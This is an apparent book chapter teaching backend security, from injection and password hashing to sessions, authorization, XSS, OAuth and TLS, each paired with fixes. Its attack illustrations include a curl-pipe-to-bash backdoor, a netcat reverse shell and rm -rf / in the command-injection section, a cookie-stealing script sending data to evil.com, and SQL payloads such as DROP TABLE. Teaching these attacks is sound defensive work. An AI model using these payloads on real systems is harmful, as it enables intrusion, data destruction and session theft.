Chapter 17 ยท Security

Backend Security

Security is not a feature you bolt on at the end โ€” it is a mindset you carry into every line of code. This chapter covers the most impactful attack classes a backend engineer will encounter: injection attacks, broken authentication, broken authorization, XSS, CSRF, and misconfiguration โ€” with the mental models and code to prevent all of them.

01

The Security Mindset โ€” Think Like an Attacker

"Attackers don't care about your framework or language. They only ask one question: where did the developer make an assumption?"

Every significant vulnerability in the history of software traces back to a developer assuming something that an attacker violated:

These assumptions feel reasonable under deadline pressure โ€” you're always thinking in the happy path. Attackers exploit the unhappy paths. They poke at every boundary, modify every input, and try to guess every assumption you made.

The goal of this chapter is to make you paranoid โ€” in a productive way. Every time you write code, ask: "What could go wrong here? What am I assuming? What if that assumption is wrong?"

The Root Cause of Almost Every Attack

Your backend application speaks multiple languages simultaneously: SQL to the database, HTML/JS to the browser, shell commands to the OS. Each language has its own grammar, its own special characters, its own way of separating commands from data.

Your Backend speaks 3+ languages ๐Ÿ—„๏ธ Database language: SQL ๐ŸŒ Browser language: HTML/JS ๐Ÿ’ป OS / Shell language: Shell Vulnerability: user input in one language bleeds into another
Fig 1 โ€” Your backend speaks multiple languages. Every boundary crossing is a potential injection point.

Injection attacks happen when user data (which lives in one language) bleeds into another language's context and gets interpreted as a command rather than data. This single insight explains SQL injection, command injection, XSS, and more.

02

Vulnerability Overview

SQL Injection

User input bleeds into SQL query. Attacker can read all data, delete tables, or run OS commands via DB.

Command Injection

User input bleeds into a shell command. Attacker can run rm -rf / or install spyware on your server.

XSS

User content stored as HTML. Malicious script runs in other users' browsers โ€” steals sessions, redirects, phishes.

Broken Auth

Plain-text passwords, weak hashing, predictable session IDs, missing rate limits โ€” attacker takes over accounts.

Broken AuthZ (BOLA/BFLA)

Auth check at routing layer but not at DB layer. User A reads User B's invoices. Member accesses admin API.

CSRF / Misconfig

Cross-site form submissions trick server. Secrets in git, debug logs in production, wrong cookie flags.

03

SQL Injection

SQL injection has been the #1 most destructive vulnerability for decades. It works because developers build SQL queries by string concatenation โ€” dropping raw user input directly into the query template.

The Attack โ€” Step by Step

Consider a login query built by concatenation:

SQL โ€” Vulnerable (Never Do This)-- Template on server:
SELECT * FROM users WHERE email = '' + userInput + ''

-- Happy path (Alice logs in normally):
SELECT * FROM users WHERE email = 'alice@gmail.com'
-- Returns Alice's row โœ“

-- Attacker types:  ' OR '1'='1 --
SELECT * FROM users WHERE email = '' OR '1'='1' --'
-- Returns ALL users โ† data leak

-- Attacker types:  '; DROP TABLE users; --
SELECT * FROM users WHERE email = ''; DROP TABLE users; --'
-- Deletes your entire users table
Attacker Input ' OR '1'='1 -- '; DROP TABLE users;-- string concat โŒ SQL Template WHERE email = '' OR '1'='1' -- โ† code! data treated as code parameterised โœ… Parameterised WHERE email = $1 args: ["' OR '1'='1"] treated purely as string
Fig 2 โ€” String concatenation confuses code and data. Parameterised queries separate them permanently.

How Special SQL Characters Enable the Attack

Character Meaning in SQL How Attacker Uses It
' String delimiter Closes the existing string literal, escapes data context
; Statement separator Ends the legitimate query; starts a new malicious one
-- Line comment Comments out the rest of the original query (trailing ')
OR Logical operator Creates an always-true condition to bypass WHERE filters
UNION Combines result sets Extracts data from other tables (payments, secrets)

The Fix โ€” Parameterised Queries

Instead of building one string with everything mashed together, send two separate things to the database: (1) the query template with placeholder slots, (2) the user data as separate arguments. The database driver guarantees that whatever goes into a slot is treated as a pure string โ€” never as executable SQL.

Go โ€” pgx parameterised query// โŒ NEVER โ€” string concatenation
query := "SELECT * FROM users WHERE email = '" + userInput + "'"

// โœ… ALWAYS โ€” parameterised ($1 is the slot)
row := db.QueryRow(ctx,
    "SELECT id, name FROM users WHERE email = $1",
    userInput,  // passed separately โ€” treated purely as data
)

// With an ORM (GORM) โ€” parameterised automatically
db.Where("email = ?", userInput).First(&user)
Every modern ORM (GORM, SQLAlchemy, Prisma, Hibernate) uses parameterised queries by default. The only way to be vulnerable today is to deliberately bypass them with raw string building. Never do that.

Additional Hardening โ€” Minimal DB Permissions

Even if a SQL injection succeeds, you can limit the blast radius. The database user your backend uses to connect should only have DML permissions (INSERT, UPDATE, DELETE, SELECT) โ€” never DDL permissions (DROP TABLE, CREATE TABLE, ALTER). A hacker who gets SQL injection can't delete your tables if the DB user can't execute DDL.

NoSQL Injection (MongoDB)

MongoDB queries are JSON objects, not SQL strings. But they support operators (prefixed with $) like $ne (not equal), $gt, $exists. If you pass raw user-supplied JSON directly to a query, an attacker can inject these operators:

JavaScript โ€” MongoDB Injection// โŒ VULNERABLE: attacker sends {"$ne": null} as email
db.users.find({ email: req.body.email })
// Becomes: { email: { $ne: null } }  โ†’ returns ALL users

// โœ… FIX: validate that email is a plain string, not an object
if (typeof req.body.email !== 'string') {
  return res.status(400).json({ error: 'Invalid email' })
}
db.users.find({ email: req.body.email })
04

Command Injection

Command injection is SQL injection at the OS level. Your backend sometimes needs to call external programs (image processing with FFmpeg, file compression, PDF generation). If you build the shell command by concatenating user input, an attacker can inject shell commands into your server.

The Attack

Shell โ€” Vulnerable Image Resize# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /"
ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf /
#                                       โ†‘ ffmpeg done  โ†‘ now this runs

# Attacker can also use:
# out.jpg && curl evil.com/malware.sh | bash    (install backdoor)
# out.jpg & nc -e /bin/sh attacker.com 4444 &   (reverse shell in background)

Shell special characters that enable this:

Character Shell Meaning Attack Use
; Separate commands Run second command after first
&& Run if previous succeeded Chain exploit after legitimate command
| Pipe output Feed output to destructive command
& Run in background Install persistent spyware silently
$() Command substitution Execute arbitrary command inline

The Fix โ€” Separate Command from Arguments

Every language provides functions that accept the command and arguments as separate parameters. These pass arguments directly to the process without going through a shell interpreter, so special characters are never interpreted.

Go โ€” exec.Command (safe)import "os/exec"

// โŒ VULNERABLE โ€” passes through shell interpreter
cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename)

// โœ… SAFE โ€” command and each argument are separate params
// Shell never sees userFilename โ€” it goes straight to the process
cmd := exec.Command(
    "ffmpeg",
    "-i", "input.jpg",
    "-vf", "scale=800:600",
    userFilename,   // treated as a string argument, not shell code
)
output, err := cmd.Output()
Python โ€” subprocess (safe)import subprocess

# โŒ VULNERABLE โ€” shell=True sends everything through sh
subprocess.run(f"ffmpeg -i input.jpg -o {user_filename}", shell=True)

# โœ… SAFE โ€” list form, shell=False (default)
subprocess.run([
    "ffmpeg", "-i", "input.jpg",
    "-vf", "scale=800:600",
    user_filename   # just a string, not interpreted
], check=True)
The rule: never pass user input into a shell-interpreted string. Whenever you're building a string that will be executed by another system and it includes user input โ€” stop and find the parameterised alternative. It almost always exists.
05

Password Storage โ€” The Three Evolutions

Databases get breached every day. When they do, how you stored passwords determines whether your users' lives are destroyed or not.

โ‘  Plain Text โŒ pass_col = "12345" Breach โ†’ instant pwn Devs can see all passwords โ‘ก Hashing Only โš ๏ธ SHA256("12345") Vulnerable to rainbow table attacks โ‘ข Slow Hash + Salt โœ… argon2id("12345" + salt_u14) Rainbow tables useless Brute force: centuries not days
Fig 3 โ€” Password storage evolution. Only option โ‘ข is acceptable in production.

Why Plain Text Fails

Every database breach exposes all passwords instantly. Worse: over 70% of users reuse passwords across sites, so one breach hands attackers the keys to email, banking, and social media accounts they didn't even target.

Why Hashing Alone Isn't Enough

Attackers pre-compute rainbow tables โ€” massive lookup tables mapping common passwords (like "123456", "password", "qwerty") to their hashes. If your hash matches a rainbow table entry, they reverse-lookup the plaintext instantly. A GPU can compute billions of SHA-256 hashes per second.

Salting โ€” Defeating Rainbow Tables

A salt is a cryptographically random string generated uniquely for each user. You concatenate the salt with the password before hashing. Since each user's salt is different, even two users with the same password produce completely different hashes. Rainbow tables become useless โ€” they'd need a new table per user.

Slow Hashing โ€” Defeating Brute Force

General-purpose hash functions (SHA-256, MD5) are designed to be fast. A GPU can do billions per second. Password hashing algorithms (bcrypt, scrypt, Argon2id) are deliberately slow via a configurable cost/work factor. At 400ms per hash:

Industry standard today: use Argon2id (winner of the Password Hashing Competition). Fallback: bcrypt with cost factor โ‰ฅ12. Never use SHA-256, MD5, or SHA-1 for passwords.
Go โ€” Argon2id (golang.org/x/crypto)import (
    "crypto/rand"
    "golang.org/x/crypto/argon2"
    "encoding/base64"
)

func HashPassword(password string) (string, error) {
    // Generate cryptographically random 16-byte salt
    salt := make([]byte, 16)
    rand.Read(salt)

    // Argon2id params: time=1, memory=64MB, threads=4, keyLen=32
    hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)

    // Store: $argon2id$salt$hash (both needed to verify)
    encoded := base64.RawStdEncoding.EncodeToString(salt) +
               "$" + base64.RawStdEncoding.EncodeToString(hash)
    return encoded, nil
}

func VerifyPassword(password, stored string) bool {
    // Re-hash with stored salt, compare โ€” never compare raw hashes with ==
    parts := strings.Split(stored, "$")
    salt, _ := base64.RawStdEncoding.DecodeString(parts[0])
    newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)
    return subtle.ConstantTimeCompare(newHash,
        mustDecode(parts[1])) == 1
}
06

Sessions, Cookies & the Critical Flags

After a user authenticates, you need to remember them across requests. This is done via a session: a random identifier stored server-side, linked to the user's data, sent to the browser as a cookie.

The Session Flow

  1. User submits email + password.
  2. Server verifies password (argon2id hash match).
  3. Server generates a cryptographically random 128โ€“256 bit session ID.
  4. Server stores the session ID in Redis/DB with user metadata (user ID, IP, user-agent, expiry, created_at).
  5. Server sends the session ID to browser in a cookie with strict security flags.
  6. Every subsequent request: browser sends cookie โ†’ server looks up session ID โ†’ identifies user.

The Three Critical Cookie Flags

Flag Value What It Does Without It
HttpOnly true JS cannot read this cookie XSS steals session ID via document.cookie
Secure true Cookie only sent over HTTPS Session stolen by Wi-Fi eavesdropper or Wireshark
SameSite Strict or Lax Cookie not sent in cross-origin requests CSRF attacks can use your cookie from evil.com
Go โ€” Secure Cookiehttp.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    sessionID,
    HttpOnly: true,          // JS cannot access
    Secure:   true,           // HTTPS only
    SameSite: http.SameSiteStrictMode,  // no cross-site
    MaxAge:   7 * 24 * 3600, // 7 days
    Path:     "/",
})
Never store session IDs or JWT tokens in localStorage. LocalStorage is accessible by any JavaScript on the page. One XSS vulnerability = all sessions stolen. Always use HttpOnly cookies.
07

JWT โ€” Stateless Authentication

A JWT (JSON Web Token) is an alternative to server-side sessions. Instead of storing session data in the DB and sending only an ID to the client, the JWT contains the session data โ€” signed cryptographically so it cannot be tampered with.

JWT Structure

Header alg: HS256, typ: JWT . Payload (Claims) sub: user_id, iat, exp, role: "admin" . Signature HMAC(header+payload, secret)
Fig 4 โ€” JWT: three Base64-encoded parts joined by dots. Payload is readable, but tamper-proof via signature.
The payload is NOT encrypted โ€” only signed. It is Base64-encoded, which anyone can decode. Never store sensitive data (passwords, PII, credit card numbers) in JWT claims. Only store what the server needs (user ID, role) โ€” and what's safe if exposed.

JWT vs Sessions โ€” When to Use Which

Sessions (Stateful) โœ… Preferred

  • Instant revocation โ€” delete the session row
  • No data exposed to client
  • Simpler architecture for most SaaS
  • Scalable with Redis (shared session store)
  • Recommended by most security experts

JWT (Stateless)

  • No DB lookup per request (faster at scale)
  • Revocation is hard โ€” blacklist or short expiry needed
  • If account compromised, can't force logout immediately
  • Workarounds: short expiry (5โ€“10min) + refresh tokens
  • Use only if stateless is a hard requirement

If You Must Use JWT โ€” Best Practices

08

Rate Limiting Authentication Endpoints

Without rate limiting, an attacker can send millions of login attempts per second, either to brute-force passwords or to take down your server (DoS). Rate limiting is mandatory on all auth endpoints.

Three Layers of Rate Limiting

Layer 1: Per-IP 10 attempts / minute Bypassed by botnets / rotating IPs Layer 2: Per-Account 5 failures โ†’ lock 24h Bypassed by password spray Layer 3: Global 100 failures / min system-wide Alert + CAPTCHA all users Password Spray Attack Try one common password ("123456") across millions of accounts โ†’ avoids per-account lockout. Only global rate limiting catches this.
Fig 5 โ€” Three-layer rate limiting: each layer catches attacks that bypass the previous one.
Go โ€” Rate Limiting with golang.org/x/time/rateimport (
    "golang.org/x/time/rate"
    "sync"
    "net/http"
)

var (
    mu       sync.Mutex
    limiters = map[string]*rate.Limiter{}
)

// Per-IP limiter: 5 requests per second, burst of 10
func getIPLimiter(ip string) *rate.Limiter {
    mu.Lock()
    defer mu.Unlock()
    l, ok := limiters[ip]
    if !ok {
        l = rate.NewLimiter(5, 10)
        limiters[ip] = l
    }
    return l
}

func RateLimitMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        ip := r.RemoteAddr
        if !getIPLimiter(ip).Allow() {
            http.Error(w, "too many requests", http.StatusTooManyRequests)
            return
        }
        next.ServeHTTP(w, r)
    })
}
09

Authorization Vulnerabilities โ€” BOLA & BFLA

"Authentication tells you who the user is. Authorization tells you what they're allowed to do. Most engineers get authentication right and authorization wrong."

The Core Mistake

Authorization is checked at the routing layer (middleware). Engineers then assume: "the user passed auth, so they can access anything from here." This creates a dangerous false sense of security.

Router Auth Middleware โœ“ authenticated Handler Service Repository โ† โŒ SELECT * WHERE id=5 VULNERABLE No user ownership check Any user can fetch any ID WHERE id=5 AND user_id=$ctx
Fig 6 โ€” Auth checks at routing layer don't protect data at the DB layer. Add ownership checks in the query.

โ‘  BOLA โ€” Broken Object Level Authorization

(Also called IDOR โ€” Insecure Direct Object Reference)

User A can access, modify, or delete the resources of User B by guessing or iterating their IDs.

SQL โ€” BOLA Fix-- โŒ VULNERABLE: fetches invoice 5 regardless of who is asking
SELECT * FROM invoices WHERE id = $1

-- โœ… FIXED: also requires the invoice to belong to the requesting user
SELECT * FROM invoices
WHERE  id = $1
  AND  user_id = $2    -- $2 comes from the verified session/JWT, not user input

-- If no row: return 404 (not 403)
-- Why 404? A 403 CONFIRMS the resource exists โ†’ information leak
-- A 404 gives the attacker no information โ†’ is it missing, or forbidden?
Return 404 Not Found (not 403 Forbidden) when a user requests a resource they don't own. A 403 tells the attacker "this exists, but you can't have it" โ€” confirming the resource's existence enables further attacks (enumeration, social engineering).

โ‘ก BFLA โ€” Broken Function Level Authorization

A regular user accesses admin-only endpoints because role checks are missing at the routing layer. Believing "nobody knows the /admin URL" is security through obscurity โ€” which is not security at all.

Go โ€” Role Middlewarefunc RequireRole(role string) func(http.Handler) http.Handler {
    return func(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            user, ok := r.Context().Value("user").(User)
            if !ok || user.Role != role {
                http.Error(w, "forbidden", http.StatusForbidden)
                return
            }
            next.ServeHTTP(w, r)
        })
    }
}

// Router setup
r.With(RequireAuth, RequireRole("admin")).
  Get("/admin/invoices", adminInvoicesHandler)

The Horizontal vs Vertical Mental Model

Horizontal Attack (BOLA)

  • User A reads/edits User B's resources
  • Scope widens across users
  • Fix: add AND user_id = $ctx_user to every query
  • Return 404, not 403

Vertical Attack (BFLA)

  • Regular user accesses admin functions
  • Scope elevates up privilege levels
  • Fix: role middleware on every sensitive route
  • Default-deny: deny anything not explicitly allowed

Use UUIDs, Not Sequential IDs, in URLs

Sequential IDs (/invoices/101, /invoices/102) let attackers enumerate all resources. A UUID like /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 is effectively unguessable โ€” 2ยนยฒยฒ possible values. Use UUIDs as primary keys in any table whose records are exposed in URLs.

10

Cross-Site Scripting (XSS)

XSS occurs when an attacker's JavaScript executes in another user's browser, in the context of your platform. It's injection โ€” but the target is the browser's HTML/JS engine instead of the database.

Why XSS Is Dangerous

JavaScript running in your platform's context can:

Stored XSS โ€” The Most Dangerous Type

A user submits a comment/post containing a <script> tag. Your server stores it. Every user who views that post has the script execute in their browser.

Stored XSS Attack<!-- Attacker submits this as a "comment" -->
<script>
  // Steal session cookie and send to attacker's server
  fetch('https://evil.com/steal?c=' + document.cookie);

  // Or silently redirect to phishing page
  window.location = 'https://evil.com/fake-login';
</script>

<!-- This script is stored in your DB and injected into every user's browser -->

Prevention โ€” Sanitise Before Storing

Before storing any user-provided HTML/markdown, strip dangerous tags and attributes. Use a battle-tested library; never write your own sanitiser.

Python โ€” bleach sanitisationimport bleach

ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
ALLOWED_ATTRS = {'a': ['href']}

def sanitise_comment(raw_html: str) -> str:
    # Strip ALL tags not in allow-list, strip dangerous attributes
    return bleach.clean(
        raw_html,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRS,
        strip=True  # strip disallowed, don't escape
    )

# <script>...</script> โ†’ stripped entirely
# <b>bold</b> โ†’ kept
# <img onerror="..."> โ†’ attribute stripped

Content Security Policy (CSP) โ€” Last Line of Defence

CSP is an HTTP response header that tells the browser exactly which scripts are allowed to run. Even if an attacker injects a <script> tag, the browser blocks it if it violates the policy.

HTTP Header โ€” CSP# Only load scripts from your own domain. Block all inline scripts.
Content-Security-Policy: default-src 'self';
                         script-src 'self';
                         object-src 'none';
                         base-uri 'self'
CSP is a safety net, not a substitute for sanitisation. Fix the root cause first (sanitise input), then add CSP as a defence-in-depth layer.
11

CSRF โ€” Cross-Site Request Forgery

CSRF exploits the fact that browsers automatically attach cookies to requests, even when the request originates from a different website. An attacker on evil.com can trigger a request to bank.com and your browser includes your bank.com session cookie.

CSRF is largely a solved problem in modern stacks. As long as you set SameSite=Strict or SameSite=Lax on your session cookie (which browsers default to Lax), and you configure CORS properly, you are protected. This section covers the theory for legacy systems.

Mitigations

12

Misconfigurations โ€” Security Holes You Create Yourself

โ‘  Secrets in Version Control

The most catastrophically common mistake: API keys, database passwords, JWT secrets, or encryption keys committed to Git. Once in commit history, rotating the secret in code doesn't help โ€” the old value is permanently in git log.

If you accidentally commit a secret to Git, immediately rotate/revoke it. Deleting the file in a new commit does not remove it from history. Assume the secret is compromised the moment it touched a remote repository.
Shell โ€” Pre-commit hook with gitleaks# Install: brew install gitleaks
# .git/hooks/pre-commit
gitleaks protect --staged --no-git -v
# Blocks commit if API keys, passwords, tokens detected in staged files

โ‘ก Debug/Verbose Logs in Production

In development, log level is typically DEBUG โ€” full stack traces, SQL queries, request bodies. In production it must be INFO or WARN. Debug logs in production expose:

Go โ€” Environment-aware log levelimport "log/slog"

func setupLogger() {
    level := slog.LevelInfo  // default: production
    if os.Getenv("APP_ENV") == "development" {
        level = slog.LevelDebug
    }
    slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout,
        &slog.HandlerOptions{Level: level})))
}

โ‘ข Security Headers

A single middleware call adds all industry-standard security headers. Every major framework has one:

Header Purpose
Content-Security-Policy Controls which scripts/resources can run (prevents XSS)
X-Frame-Options: DENY Prevents embedding in iframes (prevents clickjacking)
X-Content-Type-Options: nosniff Prevents MIME-type sniffing attacks
Strict-Transport-Security Forces HTTPS โ€” prevents SSL stripping
Referrer-Policy Controls how much referrer info is sent cross-origin
Go โ€” Secure Headers Middleware (chi/middleware)import "github.com/go-chi/chi/v5/middleware"

r.Use(middleware.SetHeader("X-Frame-Options", "DENY"))
r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff"))
r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin"))
r.Use(middleware.SetHeader(
    "Strict-Transport-Security",
    "max-age=63072000; includeSubDomains; preload"))
r.Use(middleware.SetHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self'; object-src 'none'"))
13

Defence in Depth โ€” No Single Layer Is Enough

"No single defence is perfect. Build in layers. An attacker must bypass all of them simultaneously โ€” which is exponentially harder."
Core Logic Input Validation Parameterised Ops AuthN / AuthZ Rate Limiting Security Headers + CSP Monitoring + Audit Logs
Fig 7 โ€” Defence in depth: attacker must break through every layer to reach your core business logic.

The Three Questions to Ask at Every Boundary

  1. Where is data crossing a boundary? (User โ†’ SQL, User โ†’ Shell, User โ†’ HTML)
  2. What am I assuming about this data? (Is it clean? Is it a valid email? Is it safe?)
  3. What if those assumptions are wrong? (What does the attacker gain if they violate this assumption?)

If you ask these three questions for every piece of code that handles user input, you will avoid 99% of the vulnerabilities that break real production systems.

14

Go โ€” Secure Patterns Reference

Complete Secure Login Endpoint

Gofunc loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        var req struct {
            Email    string `json:"email"`
            Password string `json:"password"`
        }
        json.NewDecoder(r.Body).Decode(&req)

        // 1. Validate format (first line of defence)
        if !isValidEmail(req.Email) || len(req.Password) < 8 {
            http.Error(w, "invalid credentials", 400)
            return
        }

        // 2. Parameterised query โ€” no SQL injection possible
        var userID string
        var hashedPass string
        err := db.QueryRow(ctx,
            "SELECT id, password_hash FROM users WHERE email = $1",
            req.Email).Scan(&userID, &hashedPass)

        // 3. Generic error โ€” never reveal whether email exists
        if err != nil || !verifyArgon2(req.Password, hashedPass) {
            http.Error(w, "invalid email or password", 401)
            return
        }

        // 4. Cryptographically secure session ID
        sessionID := generateSecureToken(32)

        // 5. Store session in Redis with metadata
        redis.Set(ctx, "session:"+sessionID,
            userID, 7*24*time.Hour)

        // 6. Secure cookie โ€” HttpOnly, Secure, SameSite=Strict
        http.SetCookie(w, &http.Cookie{
            Name: "session_id", Value: sessionID,
            HttpOnly: true, Secure: true,
            SameSite: http.SameSiteStrictMode,
            MaxAge: 7 * 24 * 3600,
        })
        w.WriteHeader(http.StatusOK)
    }
}

func generateSecureToken(n int) string {
    b := make([]byte, n)
    rand.Read(b) // crypto/rand โ€” not math/rand
    return base64.URLEncoding.EncodeToString(b)
}
15

Python โ€” Secure Patterns Reference

Python โ€” FastAPI Secure Authfrom fastapi import FastAPI, HTTPException, Response
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
import secrets

ph = PasswordHasher(time_cost=1, memory_cost=65536, parallelism=4)

@app.post("/login")
async def login(email: str, password: str, response: Response):
    # 1. Parameterised query (psycopg2 / asyncpg)
    row = await db.fetchrow(
        "SELECT id, password_hash FROM users WHERE email = $1", email
    )

    # 2. Constant-time verify. Generic error always.
    valid = False
    if row:
        try:
            ph.verify(row["password_hash"], password)
            valid = True
        except VerifyMismatchError:
            pass

    if not valid:
        raise HTTPException(401, "invalid email or password")

    # 3. Cryptographically secure session token (32 bytes = 256 bits)
    session_id = secrets.token_urlsafe(32)
    await redis.set(f"session:{session_id}", row["id"], ex=604800)

    # 4. HttpOnly + Secure + SameSite cookie
    response.set_cookie(
        key="session_id", value=session_id,
        httponly=True, secure=True,
        samesite="strict", max_age=604800
    )
    return {"status": "ok"}
Python โ€” BOLA-safe DB queryasync def get_invoice(invoice_id: int, current_user_id: int):
    # โœ… ownership check IN the query โ€” not after
    row = await db.fetchrow(
        "SELECT * FROM invoices WHERE id=$1 AND user_id=$2",
        invoice_id, current_user_id
    )
    if not row:
        # 404 โ€” not 403. Don't confirm the invoice exists.
        raise HTTPException(404, "invoice not found")
    return row
16

OAuth 2.0 & OIDC โ€” Delegated Authentication

OAuth 2.0 is an authorization framework that allows a third-party application to obtain limited access to a user's account on another service โ€” without ever seeing the user's password. OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that adds authentication (who the user is), not just authorization (what they can do).

"Sign in with Google" is OIDC. "Allow this app to read your Google Drive" is OAuth 2.0. In practice, modern auth providers (Clerk, Auth0) combine both.

The Four Roles

Role Who It Is Example
Resource Owner The user Alice
Client Your application YourSaaS.com
Authorization Server Issues tokens after consent Google, GitHub, Auth0
Resource Server API that holds user data Google Calendar API

Authorization Code Flow โ€” The Secure Standard

This is the flow used by every serious web application. It keeps tokens off the browser URL bar and exchanges a short-lived code for tokens server-side.

Browser / User Your Backend Auth Server (Google) โ‘  Click "Sign in with Google" โ‘ก Redirect to Google + state + code_challenge โ‘ข Browser navigates to Google login + consent screen โ‘ฃ Google redirects back with authorization_code โ‘ค Browser sends code to your backend callback โ‘ฅ Backend exchanges code โ†’ access_token + id_token (server-to-server, never touches browser) โ‘ฆ Google returns tokens + user info (sub, email) โ‘ง Backend creates session โ†’ sets HttpOnly cookie PKCE โ€” Proof Key for Code Exchange client generates code_verifier (random) โ†’ hashes it to code_challenge โ†’ sent in step โ‘ก Google checks verifier in step โ‘ฅ โ†’ prevents authorization code interception attacks
Fig A โ€” OAuth 2.0 Authorization Code Flow with PKCE. Steps โ‘ฅโ€“โ‘ฆ are server-to-server โ€” tokens never touch the browser URL bar.

Key Security Rules for OAuth

OIDC vs OAuth 2.0 โ€” One-Line Difference

Protocol Answers Token
OAuth 2.0 "What can this app do?" Access Token (opaque or JWT)
OIDC "Who is this user?" ID Token (always JWT with sub, email, iat)
Go โ€” Verify OIDC ID Token (google/go-oidc)import (
    "github.com/coreos/go-oidc/v3/oidc"
    "golang.org/x/oauth2"
)

var (
    provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com")
    verifier     = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")})
    oauth2Cfg    = &oauth2.Config{
        ClientID:     os.Getenv("GOOGLE_CLIENT_ID"),
        ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"),
        RedirectURL:  "https://yourapp.com/auth/callback",
        Scopes:       []string{oidc.ScopeOpenID, "email", "profile"},
        Endpoint:     provider.Endpoint(),
    }
)

func callbackHandler(w http.ResponseWriter, r *http.Request) {
    // 1. Verify state matches what we stored in session (CSRF protection)
    if r.URL.Query().Get("state") != getSessionState(r) {
        http.Error(w, "invalid state", 400); return
    }

    // 2. Exchange code for tokens (server-to-server)
    token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code"))
    rawIDToken := token.Extra("id_token").(string)

    // 3. Verify ID token signature + aud + exp
    idToken, err := verifier.Verify(ctx, rawIDToken)
    if err != nil { http.Error(w, "invalid token", 401); return }

    // 4. Extract claims
    var claims struct { Email string `json:"email"`; Sub string `json:"sub"` }
    idToken.Claims(&claims)

    // 5. Upsert user in DB, create session, set cookie
    userID := upsertUser(claims.Sub, claims.Email)
    setSecureSessionCookie(w, userID)
    http.Redirect(w, r, "/dashboard", http.StatusFound)
}
17

HTTPS & TLS Internals

HTTPS is HTTP with a TLS (Transport Layer Security) layer between the TCP connection and your HTTP messages. Everything inside it โ€” headers, body, cookies, tokens โ€” is encrypted in transit. An attacker who intercepts the packets sees only random ciphertext.

Why TLS Matters to a Backend Engineer

The TLS Handshake โ€” What Actually Happens

Client (Browser) Server (Your Backend) โ‘  ClientHello: TLS version, cipher suites, random_client โ‘ก ServerHello: chosen cipher, random_server, certificate (public key) โ‘ข Client verifies cert Chain of trust โ†’ root CA โ‘ฃ Key Exchange (ECDHE): client sends key share encrypted with server's public key โ‘ค Both sides independently derive the same symmetric session key (using random_client + random_server + key material โ€” never transmitted) โ‘ฅ Client Finished (MAC of entire handshake) โ‘ฆ Server Finished โ€” handshake complete โ‘ง All subsequent HTTP traffic encrypted with symmetric session key (AES-GCM) Eavesdropper sees: random bytes. Session cookie, JWT, passwords โ€” all invisible.
Fig B โ€” TLS 1.3 handshake. The session key is derived, never transmitted โ€” forward secrecy means past sessions can't be decrypted even if the server's private key is later stolen.

Key Concepts

Concept What It Means Why It Matters
Certificate Server's public key + identity, signed by a CA Proves you're talking to the real server, not an impersonator
Certificate Authority (CA) Trusted third party that signs certs (Let's Encrypt, DigiCert) Chain of trust: browser trusts CA โ†’ CA vouches for server
ECDHE Elliptic Curve Diffie-Hellman Ephemeral key exchange Forward secrecy: each session uses a fresh key pair
Forward Secrecy Session keys aren't stored; can't decrypt past traffic even with private key A future key compromise doesn't expose old sessions
HSTS HTTP Strict Transport Security header Forces HTTPS for your domain โ€” prevents SSL-stripping attacks
TLS 1.3 Current standard (2018). Dropped weak ciphers from TLS 1.2 Faster (1-RTT handshake), no known vulnerabilities

Practical Checklist for Your Backend

Caddy โ€” Automatic HTTPS (zero config)# Caddyfile โ€” Caddy automatically obtains and renews Let's Encrypt certs
yourapp.com {
    reverse_proxy localhost:8080
    # TLS 1.2+ enforced, HSTS set, HTTP redirected โ€” all automatic
}

# nginx equivalent
server {
    listen 443 ssl;
    ssl_certificate     /etc/letsencrypt/live/yourapp.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;   # disable 1.0 and 1.1
    ssl_ciphers         ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    add_header Strict-Transport-Security "max-age=63072000" always;
}
18

Penetration Testing Mindset โ€” Think Before You Ship

Penetration testing (pentesting) is the practice of attacking your own system the way a real attacker would โ€” before they get the chance. You don't need to be a professional pentester to apply this mindset. The goal is to build the habit of asking "how would I break this?" before you deploy.

The Attacker's Methodology (OWASP Testing Guide)

  1. Reconnaissance โ€” What endpoints exist? What technology stack? What error messages leak? (nmap, Google dorking, examining JS bundles)
  2. Enumeration โ€” What user IDs exist? What routes? Fuzz with sequential IDs, common paths (/admin, /.env, /api/v1)
  3. Exploitation โ€” Try injection payloads, bypass auth, escalate privileges
  4. Post-exploitation โ€” What can be exfiltrated, modified, or destroyed?

Quick Self-Audit Checklist

Before shipping any feature that touches user data or auth, run through these manually or in automated tests:

securityheaders.com
Check What to Test Tool / Method
SQL Injection Put ', '; DROP TABLE--, ' OR '1'='1 in every input field sqlmap, manual
BOLA Logged in as User A, request User B's resource IDs Manual + Burp Suite
BFLA Remove admin cookie/role, try hitting admin endpoints Manual
XSS Submit <script>alert(1)</script> in every text field Manual, OWASP ZAP
Auth bypass Remove auth header entirely. Try expired tokens. Try tokens from another user. Manual
Secrets Search codebase and git history for hardcoded keys gitleaks, trufflehog
Security headers Check response headers for CSP, HSTS, X-Frame-Options
